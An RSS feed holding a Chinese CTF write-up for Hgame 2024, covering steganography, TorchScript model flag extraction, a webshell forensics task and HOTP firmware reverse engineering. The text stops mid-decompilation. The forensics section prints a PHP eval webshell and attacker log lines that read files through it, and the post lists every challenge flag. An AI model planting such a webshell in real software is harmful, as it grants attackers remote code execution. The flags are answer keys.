<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>s3loy&apos;s blog</title><description>Neither emo nor demo</description><link>https://blog.s3loy.tech</link><item><title>Hgame 2024 WP</title><link>https://blog.s3loy.tech/posts/hgame-2024</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/hgame-2024</guid><pubDate>Tue, 18 Feb 2025 18:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;s3loy #000132 4700 pts&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;签到&lt;/h2&gt;
&lt;h3&gt;1.test nc&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Just test your NetCat.&lt;/p&gt;
&lt;p&gt;尝试连接远程环境，并通过远程环境的shell获取flag。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;❯ nc node1.hgame.vidar.club 31838
ls
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
cat flag
hgame{Y0ur-Can_c0nN3Ct-To_THE-reM0te_ENv1RoNMEnT_To_Get_FLAg0}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{Y0ur-Can_c0nN3Ct-To_THE-reM0te_ENv1RoNMEnT_To_Get_FLAg0}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.从这里开始的序章&lt;/h3&gt;
&lt;p&gt;ctrl+C   ctrl+shift+v&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h3&gt;1.Hakuya Want A Girl Friend&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;又到了一年一度的HGAME了，遵循前两年的传统，寻找（&lt;s&gt;献祭&lt;/s&gt;）一个单身成员拿来出题🥵🥵。&lt;/p&gt;
&lt;p&gt;前两年的都成了，希望今年也能成🙏。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;s&gt;好抽象的题目（x&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250208142201503.png&quot; alt=&quot;image-20250208142201503&quot; /&gt;&lt;/p&gt;
&lt;p&gt;txt下下来发现是16进制文件但是txt，遂转换。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with open(&apos;hky.txt&apos;, &apos;r&apos;) as f:
    hex_data = f.read().strip()
binary_data = bytes.fromhex(hex_data)
with open(&apos;output_file&apos;, &apos;wb&apos;) as f:
    f.write(binary_data)
print(&quot;文件已成功合成&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开压缩包发现需要密码，继续寻找信息，同时发现压缩包里flag.txt很小，怀疑还藏了东西。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250208142651795.png&quot; alt=&quot;image-20250208142651795&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现最后有倒转的PNG，那大概压缩包后半段有其他内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def reverse_png(input_file, output_file):
    with open(input_file, &apos;rb&apos;) as f:
        content = f.read()
        
    reversed_content = content[::-1]
    
    with open(output_file, &apos;wb&apos;) as f:
        f.write(reversed_content)

input_path = &apos;aphoto&apos; 
output_path = &apos;fixed_output.png&apos;
reverse_png(input_path, output_path)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后看到照片。&lt;/p&gt;
&lt;p&gt;用crc算出宽度为：576    高度为：779，于是修改。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250208143211975.png&quot; alt=&quot;image-20250208143211975&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;To_f1nd_th3_QQ&lt;/code&gt;,一开始以为还得把人qq找到当密码用，整半天弄不出来，结果这个就是密码。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.Level 314 线性走廊中的双生实体&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;观测记录 Level 314 线性走廊中的双生实体&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实体编号：&lt;/strong&gt; Model.pt
&lt;strong&gt;危险等级：&lt;/strong&gt; Class Ψ（需特殊条件激活）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;描述：&lt;/strong&gt; 在Level 314的线性走廊中发现了一个异常实体，表现为一个固化神经网络模块（Model.pt）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;观测协议：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;使用标准加载协议激活实体：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;entity = torch.jit.load(&apos;Model.pt&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;准备一个形状为[█，██]的张量，确保其符合“█/█稳定态”条件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将张量输入实体以尝试激活信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;output = entity(input_tensor)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入张量的现实稳定系数（atol）必须≤1e-4，否则可能导致信息层坍缩。&lt;/li&gt;
&lt;li&gt;避免使用随机张量，这可能导致虚假信号污染。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;附录：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;该实体似乎使用了相位偏移加密和时间错位加密。&lt;/li&gt;
&lt;li&gt;建议在M.E.G.监督下进行操作，以防止信息层的不稳定扩散。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;刚看被吓到了，好炫酷的题干。&lt;/p&gt;
&lt;p&gt;先从给的pt模型里面提取点信息看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import torch
entity = torch.jit.load(&apos;entity.pt&apos;)

# Print general info about the entity
print(&quot;Entity info:&quot;, entity)

# Print the code contained in the entity
print(&quot;\nEntity code:&quot;)
print(entity.code)

# Print the list of modules
print(&quot;\nModules:&quot;)
for name, module in entity.named_modules():
    print(f&quot;- {name}&quot;)

# Print parameters and their shapes
print(&quot;\nParameters:&quot;)
for name, param in entity.named_parameters():
    print(f&quot;- {name}: {param.shape}&quot;)
&apos;&apos;&apos;
Entity info: RecursiveScriptModule(original_name=MyModel
  (linear1): RecursiveScriptModule(original_name=Linear)
  (security): RecursiveScriptModule(original_name=SecurityLayer)
  (relu): RecursiveScriptModule(original_name=ReLU)
  (linear2): RecursiveScriptModule(original_name=Linear)
)

Entity code:
def forward(self,
    x: Tensor) -&amp;gt; Tensor:
  linear1 = self.linear1
  x0 = (linear1).forward(x, )
  security = self.security
  x1 = (security).forward(x0, )
  relu = self.relu
  x2 = (relu).forward(x1, )
  linear2 = self.linear2
  return (linear2).forward(x2, )
  
Modules:
- linear1
- security
- relu
- linear2

Parameters:

- linear1.weight: torch.Size([10, 10])
- linear1.bias: torch.Size([10])
- linear2.weight: torch.Size([1, 10])
- linear2.bias: torch.Size([1])
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来应该没有Module会叫&lt;code&gt;security&lt;/code&gt;这样的东西，于是看看是啥玩意。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(dir(entity.security))
&apos;&apos;&apos;
[&apos;T_destination&apos;, &apos;__annotations__&apos;, &apos;__bool__&apos;, &apos;__call__&apos;, &apos;__class__&apos;, &apos;__contains__&apos;, &apos;__copy__&apos;, &apos;__deepcopy__&apos;, &apos;__delattr__&apos;, &apos;__dict__&apos;, &apos;__dir__&apos;, &apos;__doc__&apos;, &apos;__eq__&apos;, &apos;__format__&apos;, &apos;__ge__&apos;, &apos;__getattr__&apos;, &apos;__getattribute__&apos;, &apos;__getitem__&apos;, &apos;__getstate__&apos;, &apos;__gt__&apos;, &apos;__hash__&apos;, &apos;__init__&apos;, &apos;__init_subclass__&apos;, &apos;__iter__&apos;, &apos;__jit_unused_properties__&apos;, &apos;__le__&apos;, &apos;__len__&apos;, &apos;__lt__&apos;, &apos;__module__&apos;, &apos;__ne__&apos;, &apos;__new__&apos;, &apos;__reduce__&apos;, &apos;__reduce_ex__&apos;, &apos;__reduce_package__&apos;, &apos;__repr__&apos;, &apos;__setattr__&apos;, &apos;__setstate__&apos;, &apos;__sizeof__&apos;, &apos;__str__&apos;, &apos;__subclasshook__&apos;, &apos;__weakref__&apos;, &apos;_apply&apos;, &apos;_backward_hooks&apos;, &apos;_backward_pre_hooks&apos;, &apos;_buffers&apos;, &apos;_c&apos;, &apos;_call_impl&apos;, &apos;_compiled_call_impl&apos;, &apos;_concrete_type&apos;, &apos;_constants_set&apos;, &apos;_construct&apos;, &apos;_disable_script_meta&apos;, &apos;_finalize_scriptmodule&apos;, &apos;_forward_hooks&apos;, &apos;_forward_hooks_always_called&apos;, &apos;_forward_hooks_with_kwargs&apos;, &apos;_forward_pre_hooks&apos;, &apos;_forward_pre_hooks_with_kwargs&apos;, &apos;_get_backward_hooks&apos;, &apos;_get_backward_pre_hooks&apos;, &apos;_get_name&apos;, &apos;_initializing&apos;, &apos;_is_full_backward_hook&apos;, &apos;_load_from_state_dict&apos;, &apos;_load_state_dict_post_hooks&apos;, &apos;_load_state_dict_pre_hooks&apos;, &apos;_maybe_warn_non_full_backward_hook&apos;, &apos;_methods&apos;, &apos;_modules&apos;, &apos;_named_members&apos;, &apos;_non_persistent_buffers_set&apos;, &apos;_parameters&apos;, &apos;_reconstruct&apos;, &apos;_register_load_state_dict_pre_hook&apos;, &apos;_register_state_dict_hook&apos;, &apos;_replicate_for_data_parallel&apos;, &apos;_save_for_lite_interpreter&apos;, &apos;_save_to_buffer_for_lite_interpreter&apos;, &apos;_save_to_state_dict&apos;, &apos;_slow_forward&apos;, &apos;_state_dict_hooks&apos;, &apos;_state_dict_pre_hooks&apos;, &apos;_version&apos;, &apos;_wrapped_call_impl&apos;, &apos;add_module&apos;, &apos;apply&apos;, &apos;bfloat16&apos;, &apos;buffers&apos;, &apos;call_super_init&apos;, &apos;children&apos;, &apos;code&apos;, &apos;code_with_constants&apos;, &apos;compile&apos;, &apos;cpu&apos;, &apos;cuda&apos;, &apos;define&apos;, &apos;double&apos;, &apos;dump_patches&apos;, &apos;eval&apos;, &apos;extra_repr&apos;, &apos;float&apos;, &apos;forward&apos;, &apos;forward_magic_method&apos;, &apos;get_buffer&apos;, &apos;get_debug_state&apos;, &apos;get_extra_state&apos;, &apos;get_parameter&apos;, &apos;get_submodule&apos;, &apos;graph&apos;, &apos;graph_for&apos;, &apos;half&apos;, &apos;inlined_graph&apos;, &apos;ipu&apos;, &apos;load_state_dict&apos;, &apos;modules&apos;, &apos;mtia&apos;, &apos;named_buffers&apos;, &apos;named_children&apos;, &apos;named_modules&apos;, &apos;named_parameters&apos;, &apos;original_name&apos;, &apos;parameters&apos;, &apos;register_backward_hook&apos;, &apos;register_buffer&apos;, &apos;register_forward_hook&apos;, &apos;register_forward_pre_hook&apos;, &apos;register_full_backward_hook&apos;, &apos;register_full_backward_pre_hook&apos;, &apos;register_load_state_dict_post_hook&apos;, &apos;register_load_state_dict_pre_hook&apos;, &apos;register_module&apos;, &apos;register_parameter&apos;, &apos;register_state_dict_post_hook&apos;, &apos;register_state_dict_pre_hook&apos;, &apos;requires_grad_&apos;, &apos;save&apos;, &apos;save_to_buffer&apos;, &apos;set_extra_state&apos;, &apos;set_submodule&apos;, &apos;share_memory&apos;, &apos;state_dict&apos;, &apos;to&apos;, &apos;to_empty&apos;, &apos;train&apos;, &apos;type&apos;, &apos;xpu&apos;, &apos;zero_grad&apos;]
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有个很奇怪的code属性，输出一下看看：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(entity.security.code)
&apos;&apos;&apos;
def forward(self,
    x: Tensor) -&amp;gt; Tensor:
  _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)
  if _0:
    _1 = annotate(List[str], [])
    flag = self.flag
    for _2 in range(torch.len(flag)):
      b = flag[_2]
      _3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
    decoded = torch.join(&quot;&quot;, _1)
    print(&quot;Hidden:&quot;, decoded)
  else:
    pass
  if bool(torch.gt(torch.mean(x), 0.5)):
    _4 = annotate(List[str], [])
    fake_flag = self.fake_flag
    for _5 in range(torch.len(fake_flag)):
      c = fake_flag[_5]
      _6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
    decoded0 = torch.join(&quot;&quot;, _4)
    print(&quot;Decoy:&quot;, decoded0)
  else:
    pass
  return x
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;理论上应该需要构造一个1*10的张量，并且所有值都为π/10，这也解释了题干中提到的黑框框&lt;/p&gt;
&lt;p&gt;但是flag是静态属性，所以直接输出就是了（&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import torch

# 加载模型
entity = torch.jit.load(&apos;entity.pt&apos;)

# 提取 security 层中的加密数据
security_layer = entity.security
flag = security_layer.flag     
fake_flag = security_layer.fake_flag

# 解密逻辑
hidden = &apos;&apos;.join([chr(c ^ 85) for c in flag])
decoy = &apos;&apos;.join([chr(c - 3) for c in fake_flag])

print(&quot;Hidden Flag (直接提取):&quot;, hidden)
print(&quot;Decoy Flag (直接提取):&quot;, decoy)

&apos;&apos;&apos;
Hidden Flag (直接提取): flag{s0_th1s_1s_r3al_s3cr3t}
Decoy Flag (直接提取): flag{fake_flag}
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不知道为什么flag是&lt;code&gt;flag&lt;/code&gt;开头的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{s0_th1s_1s_r3al_s3cr3t}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3.Computer cleaner&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;小明的虚拟机好像遭受了攻击，你可以帮助他清理一下他的电脑吗&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;找到攻击者的webshell连接密码&lt;/li&gt;
&lt;li&gt;对攻击者进行简单溯源&lt;/li&gt;
&lt;li&gt;排查攻击者目的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;虚拟机密码：vviiddaarr&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用Vmware Workstation 17 打开，&lt;/p&gt;
&lt;p&gt;既然是webshell，那么就应该去看看web服务器那边的问题，因此去/var/www/html。&lt;/p&gt;
&lt;p&gt;在log里面看到攻击者目的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;121.41.34.25 - - [17/Jan/2025:12:02:00 +0000] &quot;GET /uploads/shell.php?cmd=ls HTTP/1.1&quot; 200 2048 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36&quot;
121.41.34.25 - - [17/Jan/2025:12:02:05 +0000] &quot;GET /uploads/shell.php?cmd=cat%20~/Documents/flag_part3 HTTP/1.1&quot; 200 2048 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在shell.php里面可看到&lt;code&gt;&amp;lt;?php @eval($_POST[&apos;hgame{y0u_&apos;]);?&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;简单溯源121.41.34.25&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209200331199.png&quot; alt=&quot;image-20250209200331199&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hav3_cleaned_th3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;/Documents/flag_part3&lt;/p&gt;
&lt;p&gt;&lt;code&gt;_c0mput3r!}&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{y0u_hav3_cleaned_th3_c0mput3r!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.Two wires&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/HMAC-based_one-time_password&quot;&gt;HOTP&lt;/a&gt;是一种一次性密码生成算法，通常具有两个可变参数：密钥&lt;code&gt;secret&lt;/code&gt;与计数器&lt;code&gt;counter&lt;/code&gt;，每生成一个密码后计数器便自增。&lt;/p&gt;
&lt;p&gt;你获取了一个二手HOTP验证器，它实现了一个符合RFC 4226的HOTP算法。你发现该设备内安全模块的微控制器并未禁止闪存读出。因此，你第一时间就轻松得到了其内部固件与EEPROM的完整镜像。&lt;/p&gt;
&lt;p&gt;为了研究其工作原理，在获取镜像后，你将微控制器与USB接口芯片的通信引线引出，接入逻辑分析仪（如下图），之后使用附带的上位机软件设置了一个新的HOTP密钥，同时观察通信波形。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/media.png&quot; alt=&quot;连线示意图&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;根据提供的固件、EEPROM镜像与sigrok波形文件，分析并计算以下内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在上位机交互中获取的HOTP，记为&lt;code&gt;X1&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;使用上位机交互所设置的密钥与初始计数器，第10次（包括本次，即&lt;code&gt;counter+9&lt;/code&gt;）所获取的HOTP，记为&lt;code&gt;X2&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;上一任拥有者若继续使用该验证器，之后第32次与64次获取（即&lt;code&gt;counter+32&lt;/code&gt;与&lt;code&gt;counter+64&lt;/code&gt;时）将得到的HOTP，记为&lt;code&gt;Y1&lt;/code&gt;和&lt;code&gt;Y2&lt;/code&gt;；&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Flag格式&lt;/strong&gt;：&lt;code&gt;hgame{X1_X2_Y1_Y2}&lt;/code&gt;，其中每个HOTP以十进制表示，左补0至该验证器所使用的位数。例如，假设该验证器产生8位HOTP，则一个符合格式的flag为&lt;code&gt;hgame{00000000_00000001_00000022_00000333}&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209201340962.png&quot; alt=&quot;image-20250209201340962&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;capture.sr&lt;/code&gt;是sigrok波形文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;firmware.elf&lt;/code&gt;是固件信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;eeprom.bin&lt;/code&gt;是eeprom镜像。&lt;/p&gt;
&lt;p&gt;这题刚看的时候也是没一点思路，那只能先从题目要求开始研究。&lt;/p&gt;
&lt;p&gt;首先从hotp看起&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209201758271.png&quot; alt=&quot;image-20250209201758271&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209230154880.png&quot; alt=&quot;image-20250209230154880&quot; /&gt;&lt;/p&gt;
&lt;p&gt;收集过足够信息之后先把生成hotp的脚本搓出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct
import hmac
import hashlib


def hotp(secret, counter):
    counter_bytes = struct.pack(&quot;&amp;gt;Q&quot;, counter)

    # 使用 HMAC-SHA1 来计算哈希
    hmac_hash = hmac.new(secret, counter_bytes, hashlib.sha1).digest()

    # 动态截断提取数字（标准 HOTP 动态截断过程）
    offset = hmac_hash[-1] &amp;amp; 0x0F  # 取哈希的最后一个字节的低四位
    code = struct.unpack(&quot;&amp;gt;I&quot;, hmac_hash[offset:offset+4])[0] &amp;amp; 0x7FFFFFFF  # 取出 4 字节并处理
    return code % 1000000  # 返回一个 6 位数的验证码

secret1 = &quot;&quot;
secret2 = &quot;&quot;

counter1 = 0
counter2 = 0

x1 = hotp(secret1, counter1)
x2 = hotp(secret1,counter1+9)

y1 = hotp(secret2, counter2+32)
y2 = hotp(secret2,counter2+64)

print(f&quot;hgame{{{x1}_{x2}_{y1}_{y2}}}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是在还没分析其他东西的情况下先做的雏形。&lt;/p&gt;
&lt;p&gt;那么现在的问题就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上位机的&lt;code&gt;secret&lt;/code&gt;和&lt;code&gt;counter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;上一任拥有者的&lt;code&gt;secret&lt;/code&gt;和&lt;code&gt;counter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那还是一步一步走。&lt;/p&gt;
&lt;h4&gt;1 上位机&lt;/h4&gt;
&lt;p&gt;那应该看&lt;code&gt;firmware.elf&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ binwalk -t -vv -e firmware.elf

MD5 Checksum:  7399bbea95a9dfb405db0df71d96344a
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
------------------------------------------------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, version 1 (SYSV)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用IDA pro打开，&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;hgame-2024/image-20250209203754718.png&quot;&gt;image-20250209203754718&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过ida不能反汇编。&lt;/p&gt;
&lt;p&gt;于是用ghidra试试，发现可以反汇编但是有好多错误。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* i2cOnReceive(int) */

undefined2 i2cOnReceive(undefined2 param_1)

{
    undefined *unaff_SP;
    undefined *puVar1;
    char cVar2;
    undefined2 uVar3;
    undefined uVar4;
    ushort in_R25R24;
    undefined1 *puVar5;
    undefined *puVar6;

    cVar2 = &apos;\0&apos;;
    *unaff_SP = (char)param_1;
    unaff_SP[-1] = (char)((ushort)param_1 &amp;gt;&amp;gt; 8);
    unaff_SP[-2] = (char)mem0x001c;
    unaff_SP[-3] = (char)((ushort)mem0x001c &amp;gt;&amp;gt; 8);
    puVar1 = unaff_SP + -4;
    if (next_action == cVar2) {
        if (0x10 &amp;lt; in_R25R24) {
            puVar5 = &amp;amp;msg_recv;
            do {
                uVar4 = 0xff;
                *(undefined2 *)(puVar1 + -1) = 0x58a;
                puVar1 = puVar1 + -2;
                uVar3 = TwoWire::read();
                puVar6 = puVar5 + 1;
                *puVar5 = uVar4;
                puVar5 = puVar6;
            } while ((byte)uVar3 != (byte)puVar6 ||
                     (char)((ushort)uVar3 &amp;gt;&amp;gt; 8) !=
                     (char)((char)((ushort)puVar6 &amp;gt;&amp;gt; 8) + ((byte)uVar3 &amp;lt; (byte)puVar6)));
            if (msg_recv == &apos;\x01&apos;) {
                next_action = &apos;\x03&apos;;
            }
            else if (msg_recv == &apos;\0&apos;) {
                next_action = &apos;\x02&apos;;
            }
            else if (msg_recv == &apos;\x02&apos;) {
                next_action = &apos;\x04&apos;;
            }
            else if (msg_recv == &apos;\x03&apos;) {
                next_action = &apos;\x05&apos;;
            }
        }
    }
    else {
        illegal_state = 1;
    }
    return CONCAT11(puVar1[3],puVar1[4]);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;i2cOnReceive&lt;/code&gt;这个函数里面讲了&lt;/p&gt;
&lt;p&gt;直接看&lt;code&gt;firmware.elf&lt;/code&gt;好像看不出来多少东西，但是根据题干的提示,&lt;code&gt;capture.sr&lt;/code&gt;应该就是设置了一个新的HOTP密钥的过程，那么理论上就可以从这里面提取出信息来。&lt;/p&gt;
&lt;p&gt;下载了软件&lt;code&gt;PulseView&lt;/code&gt;，打开&lt;code&gt;capture.sr&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;ps：这个软件不支持中文路径，自己试试就知道了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209230900783.png&quot; alt=&quot;image-20250209230900783&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开之后看到这四条，不过根据前面图上只需要&lt;code&gt;D0&lt;/code&gt;和&lt;code&gt;D1&lt;/code&gt;，选择直接删除&lt;code&gt;D2&lt;/code&gt;和&lt;code&gt;D3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209231152619.png&quot; alt=&quot;image-20250209231152619&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加I^2^C解码器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209231509824.png&quot; alt=&quot;image-20250209231509824&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个&lt;code&gt;address read&lt;/code&gt; 顾名思义，不是我们要的东西，所以看&lt;code&gt;data write&lt;/code&gt;后面的东西&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209233233437.png&quot; alt=&quot;image-20250209233233437&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过我不知道这大老远还有一个是什么，但是出于前面看起来太规整了，于是先收集了前面的数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209233909607.png&quot; alt=&quot;image-20250209233909607&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这么多数据我怎么用呢&lt;/p&gt;
&lt;p&gt;第一组&lt;code&gt;01 6B 69 4F 7E 03 54 F6 C6 6A B5 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第二组&lt;code&gt;00 01 00 00 00 93 7E CD 0D 00 00 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第三组&lt;code&gt;02 1A 04 02 1B 1C 6D 7D 45 58 02 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第四组&lt;code&gt;03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此处先停止了思考。&lt;/p&gt;
&lt;h4&gt;2 上一任拥有者&lt;/h4&gt;
&lt;p&gt;分析firmware里面的&lt;code&gt;EepromData::tryUnserialize&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* EepromData::tryUnserialize(OtpState&amp;amp;) [clone .constprop.15] */

undefined2 EepromData::tryUnserialize(undefined2 param_1)

{
    ...省略...
    cVar10 = &apos;\0&apos;;
    *unaff_SP = (char)in_R15R14;
    unaff_SP[-1] = (char)((ushort)in_R15R14 &amp;gt;&amp;gt; 8);
    unaff_SP[-2] = (char)param_1;
    unaff_SP[-3] = (char)((ushort)param_1 &amp;gt;&amp;gt; 8);
    unaff_SP[-4] = (char)mem0x001c;
    unaff_SP[-5] = (char)((ushort)mem0x001c &amp;gt;&amp;gt; 8);
    puVar2 = unaff_SP + -6;
    puVar16 = unaff_SP + -0x26;
    cVar5 = in_Hflg == &apos;\x01&apos;;
    cVar6 = in_Tflg == &apos;\x01&apos;;
    cVar7 = in_Iflg == &apos;\x01&apos;;
    SREG = puVar2 &amp;lt; &amp;amp;UNK_mem_0020 | (puVar2 == &amp;amp;UNK_mem_0020) &amp;lt;&amp;lt; 1 |
        ((short)(unaff_SP + -0x26) &amp;lt; 0) &amp;lt;&amp;lt; 2 | (SBORROW2((short)puVar2,0x20) == true) &amp;lt;&amp;lt; 3 |
        ((byte)((short)(unaff_SP + -0x26) &amp;lt; 0 ^ SBORROW2((short)puVar2,0x20)) == 1) &amp;lt;&amp;lt; 4 |
        cVar5 &amp;lt;&amp;lt; 5 | cVar6 &amp;lt;&amp;lt; 6 | cVar7 &amp;lt;&amp;lt; 7;
    sVar3 = CONCAT11((char)((ushort)(unaff_SP + -0x26) &amp;gt;&amp;gt; 8),(char)puVar2 + -0x20);
    pbVar11 = unaff_SP + -0x25;
    bVar9 = 0;
    do {
        *(undefined2 *)(sVar3 + -1) = 0x495;
        sVar3 = sVar3 + -2;
        uVar8 = eeprom_read_byte();
        pbVar1 = pbVar11 + 1;
        *pbVar11 = bVar9;
        pbVar11 = pbVar1;
        bVar9 = (char)uVar8 + 1;
    } while (bVar9 != 0x20 ||
             (char)((char)((ushort)uVar8 &amp;gt;&amp;gt; 8) - (((char)uVar8 != -1) + -1)) !=
             (char)(cVar10 + (bVar9 &amp;lt; 0x20)));
    bVar9 = puVar16[1];
    bVar12 = puVar16[2];
    bVar13 = puVar16[3];
    bVar4 = bVar12 &amp;lt; 0xba || (byte)(bVar12 + 0x46) &amp;lt; (bVar9 &amp;lt; 0xbe);
